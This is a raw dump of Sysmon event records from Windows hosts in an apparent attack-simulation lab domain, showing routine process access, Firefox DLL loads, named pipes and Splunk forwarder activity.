14:58:31.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016357Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016356Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016355Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016354Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016353Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016352Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016351Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016350Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.753{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016349Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.753{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7297-613B-F704-00000000F101}3172C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016348Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.753{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7297-613B-F704-00000000F101}3172C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016347Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.754{625C326B-7297-613B-F704-00000000F101}3172C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016346Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.706{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B97095192AD820D4FB5705CB43CD657,SHA256=BC2864FD8DCF2834A2B8932D7AD2ADD1B2E3561B446346EDCAEBF6DC4437CF9E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000050966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.877{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.876{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntmarta.dll10.0.14393.0 (rs1_release.160715-1616)Windows NT MARTA providerMicrosoft® Windows® Operating SystemMicrosoft Corporationntmarta.dllMD5=854A3CAE7C97B630158C9F7EE8555970,SHA256=20F0A4D99C5095A0CAC39B816BFC987F64CD051843C79E027714666375986176,IMPHASH=98050D95AE15C8382F287539F2BF65FAtrueMicrosoft WindowsValid 18141800x800000000000000050964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:31.875{7BD73061-728F-613B-5C0B-00000000F001}6212\chrome.4776.8.177056572C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000050963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.875{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.875{7BD73061-728D-613B-560B-00000000F001}47766152C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+1b5a9c|C:\Program Files\Mozilla Firefox\xul.dll+a0c416|C:\Program Files\Mozilla Firefox\xul.dll+a06fcf|C:\Program Files\Mozilla Firefox\xul.dll+19c3d4d|C:\Program Files\Mozilla Firefox\xul.dll+19c272c|C:\Program Files\Mozilla Firefox\xul.dll+13ca5|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+13388|C:\Program Files\Mozilla Firefox\xul.dll+9e92c1|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 17141700x800000000000000050961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:31.875{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.8.177056572C:\Program Files\Mozilla Firefox\firefox.exe 18141800x800000000000000050960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:31.874{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.7.67856873C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000050959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.872{7BD73061-728D-613B-560B-00000000F001}47763944C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+133dab|C:\Program Files\Mozilla Firefox\xul.dll+121475d|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000050958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:31.871{7BD73061-728D-613B-560B-00000000F001}4776\gecko-crash-server-pipe.4776C:\Program Files\Mozilla Firefox\firefox.exe 734700x800000000000000050957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.866{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\userenv.dll10.0.14393.4583 (rs1_release.210730-1850)UserenvMicrosoft® Windows® Operating SystemMicrosoft Corporationuserenv.dllMD5=E0F286AF345442E267C33880492CED31,SHA256=5C6D66F5A748551999BE1CDE33A3A1FC2E10D1297EF275D232A9FDCC95BEA84B,IMPHASH=C84FC60AE2A79A06E8C46A6929CDECB4trueMicrosoft WindowsValid 734700x800000000000000050956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.866{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dhcpcsvc.dll10.0.14393.3930 (rs1_release.200901-1914)DHCP Client ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc.dllMD5=CD3B9633BBEF2102C4665A2C39EC0B1A,SHA256=341EFB4806BE39E09AA90CA3B069C39F2A9D61FA9B512350B2721D41875AFCAE,IMPHASH=9A2F821D250C4CEBC0627590331B869DtrueMicrosoft WindowsValid 734700x800000000000000050955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.865{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wtsapi32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Remote Desktop Session Host Server SDK APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationwtsapi32.dllMD5=D0DB3DD09FB2B4ADABF4E719FAFC4EB9,SHA256=8B7C056B5F4AB604ED5077A39C63CE1B5A34929DE76DA4A3C54D6E648D123BAB,IMPHASH=AD7CEB919D43FA2BD394EC803EB6BCDAtrueMicrosoft WindowsValid 734700x800000000000000050954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.865{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000050953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.865{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000050952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.864{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000050951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.864{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000050950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.863{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000050949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.863{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000050948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.863{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000050947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.862{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msi.dll5.0.14393.4530Windows InstallerWindows Installer - UnicodeMicrosoft Corporationmsi.dllMD5=4479EEB5C5400D4C084274BA015750FA,SHA256=6B30AE7147132038E603EEB2D35C35BB3D03EC5AFA560D31969E2D39A44ACDCD,IMPHASH=702DDC1509DE604C8D612A66E9E39DACtrueMicrosoft WindowsValid 734700x800000000000000050946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.862{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\usp10.dll10.0.14393.3321 (rs1_release.191016-1811)Uniscribe Unicode script processorMicrosoft® Windows® Operating SystemMicrosoft CorporationUSP10.DLLMD5=ACF31D492FD578C0374EB20CC393BE98,SHA256=D49ECA60A94B30DB87CDCEB36F284D273E080E8689E4B0F99D5BD44FFD117A92,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.861{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\avrt.dll10.0.14393.2969 (rs1_release.190503-1820)Multimedia Realtime RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationavrt.dllMD5=8EC9E2490A9FFA637115F758B22FFF78,SHA256=1A3295CBF09E9367CCE68505D949D724FB9B66B4516770B7D594273C3BCFC5B8,IMPHASH=F266C00A61E480BB0A81B1A89DB30014trueMicrosoft WindowsValid 734700x800000000000000050944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.860{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\setupapi.dll10.0.14393.2608 (rs1_release.181024-1742)Windows Setup APIMicrosoft® Windows® Operating SystemMicrosoft CorporationSETUPAPI.DLLMD5=8EEA3E9E124AC395915517588723F12E,SHA256=ED63B8F0079069271F46EECCB4B0CF384D02BD1E18FE3BA635A0C0B1284B2CBE,IMPHASH=5910ADAAC44A92AFA6ED871531949CEEtrueMicrosoft WindowsValid 734700x800000000000000050943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.860{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000050942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.859{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft 